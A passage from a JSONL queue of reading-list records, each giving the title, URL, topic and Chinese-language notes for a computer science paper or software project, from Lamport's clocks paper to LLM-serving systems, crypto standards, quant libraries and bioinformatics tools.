codec。"},"url":"https://en.wikipedia.org/wiki/AV2","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"website-specification","area":"projects","topic":"engineering-culture","title":"The Website Specification","meta":{"col3":"2026","col4":"HN 245pts;website 规范半讽刺半认真;W3C/WHATWG 反思。"},"url":"https://specification.website/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"zig-elf-linker-devlog","area":"projects","topic":"compilers-pl","title":"Zig ELF Linker Improvements Devlog","meta":{"col3":"2026","col4":"HN 214pts;Zig 自托管 linker 性能进展;ELF 实现细节。"},"url":"https://ziglang.org/devlog/2026/#2026-05-30","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"racket-v92","area":"projects","topic":"compilers-pl","title":"Racket v9.2 Release","meta":{"col3":"2026","col4":"HN 150pts;Racket 9.2 release notes;CS 教学语言新进展。"},"url":"https://blog.racket-lang.org/2026/05/racket-v9-2.html","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"dotnet-10","area":"projects","topic":"compilers-pl","title":".NET 10 Announcement","meta":{"col3":"2026","col4":"HN 612pts;Microsoft .NET 10;运行时 + GC + AOT 改进。"},"url":"https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"xslt-rip","area":"projects","topic":"engineering-culture","title":"XSLT RIP","meta":{"col3":"2026","col4":"HN 698pts;XSLT 在 Web 平台被废弃讨论;语言生命周期案例。"},"url":"https://xslt.rip/","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"scaling-hnsws-antirez","area":"papers","topic":"info-retrieval","title":"Scaling HNSWs (Salvatore Sanfilippo)","meta":{"col3":"2026","col4":"HN 224pts;antirez 分析 HNSW 在 Redis Vector 的工程扩展;in-memory ANN 教学级深度。"},"url":"https://antirez.com/news/156","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"lampson-hints-1983","area":"papers","topic":"engineering-culture","title":"Hints for Computer System Design (Butler Lampson, 1983)","meta":{"col3":"1983","col4":"SOSP'83;系统设计方法论顶级 reading;CMU 15-712 / MIT 6.5840 必读。"},"url":"https://bwlampson.site/33-Hints/Acrobat.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"parnas-information-hiding-1972","area":"papers","topic":"engineering-culture","title":"On the Criteria To Be Used in Decomposing Systems into Modules (Parnas, 1972)","meta":{"col3":"1972","col4":"CACM 1972;信息隐藏奠基;模块化设计教科书 + Stanford / MIT reading list。"},"url":"https://www.win.tue.nl/~wstomv/edu/2ip30/references/criteria_for_modularization.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"brooks-no-silver-bullet-1986","area":"papers","topic":"engineering-culture","title":"No Silver Bullet — Essence and Accident in Software Engineering (Brooks, 1986)","meta":{"col3":"1986","col4":"软件工程必读;本质复杂性 vs 偶然复杂性;CMU 17-313 / Stanford reading list。"},"url":"http://worrydream.com/refs/Brooks-NoSilverBullet.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"dijkstra-goto-1968","area":"papers","topic":"compilers-pl","title":"Go To Statement Considered Harmful (Dijkstra, 1968)","meta":{"col3":"1968","col4":"CACM 1968;结构化编程奠基;PL 课程 reading list 标配。"},"url":"https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"liskov-abstraction-1974","area":"papers","topic":"compilers-pl","title":"Programming with Abstract Data Types (Liskov & Zilles, 1974)","meta":{"col3":"1974","col4":"CLU 语言;ADT 起源;OOP/类型理论必读。"},"url":"https://en.wikipedia.org/wiki/Abstract_data_type","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"lamport-time-clocks-1978","area":"papers","topic":"distributed-systems","title":"Time, Clocks, and the Ordering of Events in a Distributed System (Lamport, 1978)","meta":{"col3":"1978","col4":"CACM;happens-before;逻辑时钟;MIT 6.5840 / CMU 15-440 第一篇。"},"url":"https://lamport.azurewebsites.net/pubs/time-clocks.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"hoare-csp-1978","area":"papers","topic":"compilers-pl","title":"Communicating Sequential Processes (Hoare, 1978)","meta":{"col3":"1978","col4":"CACM;CSP;Go channel/Erlang 哲学源头。"},"url":"https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"hoare-monitors-1974","area":"papers","topic":"operating-systems","title":"Monitors: An Operating System Structuring Concept (Hoare, 1974)","meta":{"col3":"1974","col4":"CACM;monitor 同步原语;并发原语奠基;OS 课必读。"},"url":"https://en.wikipedia.org/wiki/Monitor_(synchronization)","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"backus-fp-1978","area":"papers","topic":"compilers-pl","title":"Can Programming Be Liberated from the von Neumann Style? (Backus, 1978 Turing Lecture)","meta":{"col3":"1978","col4":"FP 语言;Turing Award lecture;函数式范式宣言。"},"url":"https://www.cs.cmu.edu/~crary/819-f09/Backus78.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"knuth-literate-1984","area":"papers","topic":"engineering-culture","title":"Literate Programming (Knuth, 1984)","meta":{"col3":"1984","col4":"Computer Journal;WEB/CWEB;文档与代码一体化哲学。"},"url":"http://www.literateprogramming.com/knuthweb.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} +{"slug":"flashinfer-2024","area":"papers","topic":"ml-systems","title":"FlashInfer: Efficient and Customizable Attention Engine for LLM Inference","meta":{"col3":"2024","col4":"CMU/华盛顿;统一 prefill/decode/CUDA Graph 的 attention kernel 库,vLLM/SGLang 后端"},"url":"https://arxiv.org/abs/2501.01005","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"mooncake-kvcache-2024","area":"papers","topic":"ml-systems","title":"Mooncake: KVCache-centric Disaggregated Architecture for LLM Serving","meta":{"col3":"2024","col4":"月之暗面;KVCache 池化 + 分离式 prefill/decode,理解长上下文工业实践"},"url":"https://arxiv.org/abs/2407.00079","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"distserve-2024","area":"papers","topic":"ml-systems","title":"DistServe: Disaggregating Prefill and Decoding for Goodput-optimized LLM Serving","meta":{"col3":"2024","col4":"PKU/UCSD OSDI'24;prefill 和 decode 分离的奠基论文"},"url":"https://arxiv.org/abs/2401.09670","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"splitwise-2023","area":"papers","topic":"ml-systems","title":"Splitwise: Efficient Generative LLM Inference Using Phase Splitting","meta":{"col3":"2023","col4":"微软研究院;和 DistServe 同期的 prefill/decode 拆分方案"},"url":"https://arxiv.org/abs/2311.18677","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"sarathi-serve-2024","area":"papers","topic":"ml-systems","title":"Sarathi-Serve: Taming Throughput-Latency Tradeoff in LLM Inference","meta":{"col3":"2024","col4":"微软;chunked-prefill 调度的工业实践,Splitwise 演化"},"url":"https://arxiv.org/abs/2403.02310","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"torchtitan-2024","area":"projects","topic":"ml-systems","title":"torchtitan","meta":{"col3":"2024","col4":"PyTorch 官方 LLM 训练参考库;FSDP2 + tensor parallel + pipeline 一体化"},"url":"https://github.com/pytorch/torchtitan","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"xformers","area":"projects","topic":"ml-systems","title":"xFormers","meta":{"col3":"2024","col4":"Meta;可组合 transformer 组件 + memory_efficient_attention"},"url":"https://github.com/facebookresearch/xformers","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"flashinfer-project","area":"projects","topic":"ml-systems","title":"flashinfer","meta":{"col3":"2024","col4":"FlashInfer 开源实现;vLLM/SGLang/TensorRT-LLM 共用 kernel"},"url":"https://github.com/flashinfer-ai/flashinfer","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"openrlhf","area":"projects","topic":"ml-systems","title":"OpenRLHF","meta":{"col3":"2024","col4":"Ray + DeepSpeed + vLLM 的 RLHF 训练框架;理解 PPO/DPO 系统拼装"},"url":"https://github.com/OpenRLHF/OpenRLHF","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"verl-volcengine","area":"projects","topic":"ml-systems","title":"verl: Volcano Engine RL for LLMs","meta":{"col3":"2024","col4":"字节;HybridFlow 论文的开源实现,RLHF 系统工程"},"url":"https://github.com/volcengine/verl","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"lottery-scheduling-1994","area":"papers","topic":"operating-systems","title":"Lottery Scheduling: Flexible Proportional-Share Resource Management","meta":{"col3":"1994","col4":"Waldspurger/Weihl OSDI'94;Linux CFS 的概念前身"},"url":"https://www.usenix.org/legacy/publications/library/proceedings/osdi/full_papers/waldspurger.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"anticipatory-scheduler-2001","area":"papers","topic":"operating-systems","title":"Anticipatory Scheduling: A Disk Scheduling Framework","meta":{"col3":"2001","col4":"Iyer/Druschel SOSP'01;理解 Linux I/O 调度器历史"},"url":"https://www.cs.rice.edu/~druschel/publications/anticipatory.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"epoch-based-reclamation-2007","area":"papers","topic":"operating-systems","title":"Practical Lock-Freedom: Epoch-based Reclamation","meta":{"col3":"2007","col4":"Fraser/Harris;Hazard Pointer 的替代方案,crossbeam-epoch 基础"},"url":"https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"seastar-shared-nothing-2014","area":"papers","topic":"operating-systems","title":"Seastar: Shared-Nothing Asynchronous Framework","meta":{"col3":"2014","col4":"ScyllaDB;per-core thread + futures,DPDK 风格内核绕过"},"url":"https://seastar.io/shared-nothing/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"k42-research-os-2006","area":"papers","topic":"operating-systems","title":"K42: Building a Complete Operating System","meta":{"col3":"2006","col4":"IBM;面向多核可扩展的研究 OS,对象模型 + hot-swap"},"url":"https://dl.acm.org/doi/10.1145/1218063.1217949","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"snmalloc-2019","area":"papers","topic":"operating-systems","title":"snmalloc: A Message Passing Allocator","meta":{"col3":"2019","col4":"微软;线程消息传递回收,跨线程 free 不阻塞"},"url":"https://github.com/microsoft/snmalloc/blob/main/snmalloc.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"dpdk-project","area":"projects","topic":"operating-systems","title":"DPDK","meta":{"col3":"2024","col4":"Intel;用户态网络栈/轮询模式,云厂商高性能网关基础"},"url":"https://www.dpdk.org/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"spdk-project","area":"projects","topic":"operating-systems","title":"SPDK","meta":{"col3":"2024","col4":"Intel;用户态 NVMe 存储栈,DPDK 的存储版"},"url":"https://spdk.io/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rust-for-linux","area":"projects","topic":"operating-systems","title":"Rust for Linux","meta":{"col3":"2024","col4":"Linux 6.x 起官方支持,理解内核语言策略"},"url":"https://github.com/Rust-for-Linux/linux","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"aya-rs-ebpf","area":"projects","topic":"operating-systems","title":"aya: Rust eBPF library","meta":{"col3":"2024","col4":"纯 Rust eBPF 框架;理解新一代 eBPF 工具链"},"url":"https://github.com/aya-rs/aya","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"aes-gcm-2003","area":"papers","topic":"security-privacy","title":"The Galois/Counter Mode of Operation (GCM)","meta":{"col3":"2003","col4":"McGrew/Viega;AES-GCM 的 NIST 草案,TLS 1.3 主流模式"},"url":"https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/proposed-modes/gcm/gcm-spec.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"hkdf-rfc5869","area":"papers","topic":"security-privacy","title":"HKDF: HMAC-based Extract-and-Expand Key Derivation Function","meta":{"col3":"2010","col4":"Krawczyk RFC 5869;TLS/Noise 共用的密钥派生标准"},"url":"https://www.rfc-editor.org/rfc/rfc5869","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"ed25519-2011","area":"papers","topic":"security-privacy","title":"High-speed High-security Signatures (Ed25519)","meta":{"col3":"2011","col4":"Bernstein 等;现代签名标准,age/SSH/SecureScuttlebutt 用"},"url":"https://ed25519.cr.yp.to/ed25519-20110926.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"argon2-2015","area":"papers","topic":"security-privacy","title":"Argon2: The Memory-Hard Function for Password Hashing","meta":{"col3":"2015","col4":"PHC 获胜算法;现代 KDF/密码哈希"},"url":"https://password-hashing.net/argon2-specs.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"noise-explorer-2018","area":"papers","topic":"security-privacy","title":"Noise Explorer: Fully Automated Modeling of Noise Protocol","meta":{"col3":"2018","col4":"Kobeissi;理解 WireGuard/Wickr 的协议族"},"url":"https://noiseexplorer.com/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"trivy-aquasec","area":"projects","topic":"security-privacy","title":"Trivy","meta":{"col3":"2024","col4":"Aqua Security;最广用的容器/IaC/SBOM 漏洞扫描器"},"url":"https://github.com/aquasecurity/trivy","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"semgrep-r2c","area":"projects","topic":"security-privacy","title":"Semgrep","meta":{"col3":"2024","col4":"r2c;轻量静态分析 SAST,规则即代码"},"url":"https://github.com/semgrep/semgrep","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"step-ca-smallstep","area":"projects","topic":"security-privacy","title":"step-ca","meta":{"col3":"2024","col4":"Smallstep;私有 CA 自托管 + ACME,零信任部署"},"url":"https://github.com/smallstep/certificates","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"teleport-gravitational","area":"projects","topic":"security-privacy","title":"Teleport","meta":{"col3":"2024","col4":"Gravitational;统一 SSH/K8s/DB 接入控制,零信任审计"},"url":"https://github.com/gravitational/teleport","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"salsa-incremental-2019","area":"papers","topic":"editors-ide","title":"Salsa: An Incremental Computation Framework","meta":{"col3":"2019","col4":"rust-analyzer 核心;Adapton 的工程化版本"},"url":"https://github.com/salsa-rs/salsa/blob/master/book/src/about_salsa.md","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"dap-spec","area":"papers","topic":"editors-ide","title":"Debug Adapter Protocol Specification","meta":{"col3":"2018","col4":"微软;与 LSP 并列的调试通用协议"},"url":"https://microsoft.github.io/debug-adapter-protocol/specification","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"lapce-editor","area":"projects","topic":"editors-ide","title":"Lapce","meta":{"col3":"2024","col4":"Rust + Druid;融合 Vim/VSCode 的现代编辑器"},"url":"https://github.com/lapce/lapce","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"nvim-treesitter","area":"projects","topic":"editors-ide","title":"nvim-treesitter","meta":{"col3":"2024","col4":"Neovim 的 tree-sitter 集成;现代语法高亮事实标准"},"url":"https://github.com/nvim-treesitter/nvim-treesitter","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"cody-sourcegraph","area":"projects","topic":"editors-ide","title":"Cody","meta":{"col3":"2024","col4":"Sourcegraph;代码搜索 + LLM agent,企业级 AI 编辑器"},"url":"https://github.com/sourcegraph/cody","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"kakoune-editor","area":"projects","topic":"editors-ide","title":"Kakoune","meta":{"col3":"2024","col4":"选择优先模态编辑器;Helix 的灵感来源"},"url":"https://github.com/mawww/kakoune","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"emacs-magit","area":"projects","topic":"editors-ide","title":"Magit","meta":{"col3":"2024","col4":"Emacs git porcelain;最被效仿的 Git UI"},"url":"https://github.com/magit/magit","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"warp-terminal","area":"projects","topic":"editors-ide","title":"Warp Terminal","meta":{"col3":"2024","col4":"Rust + GPU 渲染终端;blocks/AI 命令补全"},"url":"https://github.com/warpdotdev/Warp","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"chaos-engineering-netflix-2016","area":"papers","topic":"business-engineering","title":"Chaos Engineering: Netflix's Approach","meta":{"col3":"2016","col4":"Basiri 等 IEEE Software;故障注入工程化的奠基"},"url":"https://arxiv.org/abs/1702.05843","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"dora-state-of-devops-2023","area":"papers","topic":"business-engineering","title":"DORA State of DevOps Report 2023","meta":{"col3":"2023","col4":"Google DORA;四大指标 + 平台工程的最新基准"},"url":"https://services.google.com/fh/files/misc/2023_state_of_devops_report.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"incident-command-system-2022","area":"papers","topic":"business-engineering","title":"Incident Command System for Tech Operations","meta":{"col3":"2022","col4":"PagerDuty/Google SRE 摘录;事件响应组织模式"},"url":"https://response.pagerduty.com/training/incident_commander/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"backstage-spotify-2020","area":"papers","topic":"business-engineering","title":"Backstage: Spotify's Internal Developer Portal","meta":{"col3":"2020","col4":"Spotify;平台工程 IDP 概念落地的代表"},"url":"https://backstage.io/blog/2020/03/16/announcing-backstage/","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"argo-cd","area":"projects","topic":"business-engineering","title":"Argo CD","meta":{"col3":"2024","col4":"GitOps 事实标准;K8s 声明式部署"},"url":"https://github.com/argoproj/argo-cd","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"flux-cd","area":"projects","topic":"business-engineering","title":"Flux CD","meta":{"col3":"2024","col4":"Argo CD 之外的另一 GitOps 主流方案"},"url":"https://github.com/fluxcd/flux2","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"kratos-ory","area":"projects","topic":"business-engineering","title":"Ory Kratos","meta":{"col3":"2024","col4":"云原生身份基础设施;OAuth/OIDC 自托管"},"url":"https://github.com/ory/kratos","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"crossplane","area":"projects","topic":"business-engineering","title":"Crossplane","meta":{"col3":"2024","col4":"K8s 风格的多云控制面;Terraform 的声明式替代"},"url":"https://github.com/crossplane/crossplane","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"kelly-criterion-1956","area":"papers","topic":"quant-finance","title":"A New Interpretation of Information Rate (Kelly Criterion)","meta":{"col3":"1956","col4":"Kelly;最优下注比例的奠基,量化仓位管理基石"},"url":"https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"black-scholes-1973","area":"papers","topic":"quant-finance","title":"The Pricing of Options and Corporate Liabilities","meta":{"col3":"1973","col4":"Black/Scholes;期权定价模型奠基论文,金融工程必读"},"url":"https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"almgren-chriss-2001","area":"papers","topic":"quant-finance","title":"Optimal Execution of Portfolio Transactions","meta":{"col3":"2001","col4":"Almgren/Chriss;最优执行算法的奠基,VWAP/TWAP 后续都基于此"},"url":"https://www.smallake.kr/wp-content/uploads/2016/03/optliq.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"lopez-de-prado-trio-2018","area":"papers","topic":"quant-finance","title":"The 10 Reasons Most Machine Learning Funds Fail","meta":{"col3":"2018","col4":"López de Prado JPM;ML 用于金融的工程坑全记录"},"url":"https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3104816","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"nautilus-trader","area":"projects","topic":"quant-finance","title":"Nautilus Trader","meta":{"col3":"2024","col4":"高性能 Rust 量化回测/实盘平台,事件驱动"},"url":"https://github.com/nautechsystems/nautilus_trader","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"qlib-microsoft","area":"projects","topic":"quant-finance","title":"Qlib","meta":{"col3":"2024","col4":"微软亚研;AI 驱动的量化研究平台,A 股因子库"},"url":"https://github.com/microsoft/qlib","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"freqtrade","area":"projects","topic":"quant-finance","title":"Freqtrade","meta":{"col3":"2024","col4":"开源加密货币量化交易机器人,最广用"},"url":"https://github.com/freqtrade/freqtrade","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"hummingbot","area":"projects","topic":"quant-finance","title":"Hummingbot","meta":{"col3":"2024","col4":"做市商和 DEX 量化机器人开源框架"},"url":"https://github.com/hummingbot/hummingbot","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"vectorbt","area":"projects","topic":"quant-finance","title":"vectorbt","meta":{"col3":"2024","col4":"向量化回测 Python 库;NumPy 极致性能策略评估"},"url":"https://github.com/polakowo/vectorbt","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"awesome-systematic-trading","area":"projects","topic":"quant-finance","title":"awesome-systematic-trading","meta":{"col3":"2024","col4":"量化资源 awesome list;策略 + 数据 + 平台"},"url":"https://github.com/edarchimbaud/awesome-systematic-trading","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"blast-altschul-1990","area":"papers","topic":"bioinformatics","title":"Basic Local Alignment Search Tool (BLAST)","meta":{"col3":"1990","col4":"Altschul 等;序列比对工具的奠基,最被引用论文之一"},"url":"https://www.sciencedirect.com/science/article/abs/pii/S0022283605803602","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"smith-waterman-1981","area":"papers","topic":"bioinformatics","title":"Identification of Common Molecular Subsequences","meta":{"col3":"1981","col4":"Smith/Waterman;局部序列比对动态规划算法"},"url":"https://en.wikipedia.org/wiki/Smith%E2%80%93Waterman_algorithm","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rosettafold-2021","area":"papers","topic":"bioinformatics","title":"Accurate Prediction of Protein Structures and Interactions (RoseTTAFold)","meta":{"col3":"2021","col4":"Baek 等 Science;AlphaFold2 同期独立工作"},"url":"https://www.science.org/doi/10.1126/science.abj8754","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"esmfold-2022","area":"papers","topic":"bioinformatics","title":"Evolutionary-Scale Prediction of Atomic-Level Protein Structure","meta":{"col3":"2022","col4":"Meta ESMFold;语言模型从单序列预测结构"},"url":"https://www.science.org/doi/10.1126/science.ade2574","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"biopython","area":"projects","topic":"bioinformatics","title":"Biopython","meta":{"col3":"2024","col4":"Python 生信事实标准库;Seq/Bio.PDB/Bio.Blast"},"url":"https://github.com/biopython/biopython","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"samtools-htslib","area":"projects","topic":"bioinformatics","title":"samtools / htslib","meta":{"col3":"2024","col4":"BAM/CRAM 格式标准实现;测序数据处理基石"},"url":"https://github.com/samtools/samtools","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"snakemake","area":"projects","topic":"bioinformatics","title":"Snakemake","meta":{"col3":"2024","col4":"Python DSL 的工作流管理;最广用生信 pipeline 工具"},"url":"https://github.com/snakemake/snakemake","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"nextflow","area":"projects","topic":"bioinformatics","title":"Nextflow","meta":{"col3":"2024","col4":"DSL2;Snakemake 的竞争方案,nf-core 社区强大"},"url":"https://github.com/nextflow-io/nextflow","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"scanpy","area":"projects","topic":"bioinformatics","title":"Scanpy","meta":{"col3":"2024","col4":"Python 单细胞分析;Seurat 的 Python 对手"},"url":"https://github.com/scverse/scanpy","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rdkit","area":"projects","topic":"bioinformatics","title":"RDKit","meta":{"col3":"2024","col4":"开源化学信息学库;分子指纹/SMILES/RDKit 是化学 AI 基础"},"url":"https://github.com/rdkit/rdkit","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rt-1-2022","area":"papers","topic":"robotics-VLA","title":"RT-1: Robotics Transformer for Real-World Control at Scale","meta":{"col3":"2022","col4":"Google;机器人 transformer 的奠基,VLA 范式起点"},"url":"https://arxiv.org/abs/2212.06817","status":"queued","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} +{"slug":"rt-2-2023","area":"papers","topic":"robotics-VLA","title":"RT-2: Vision-Language-Action Models","meta":{"col3":"2023","col4":"Google DeepMind;VLM 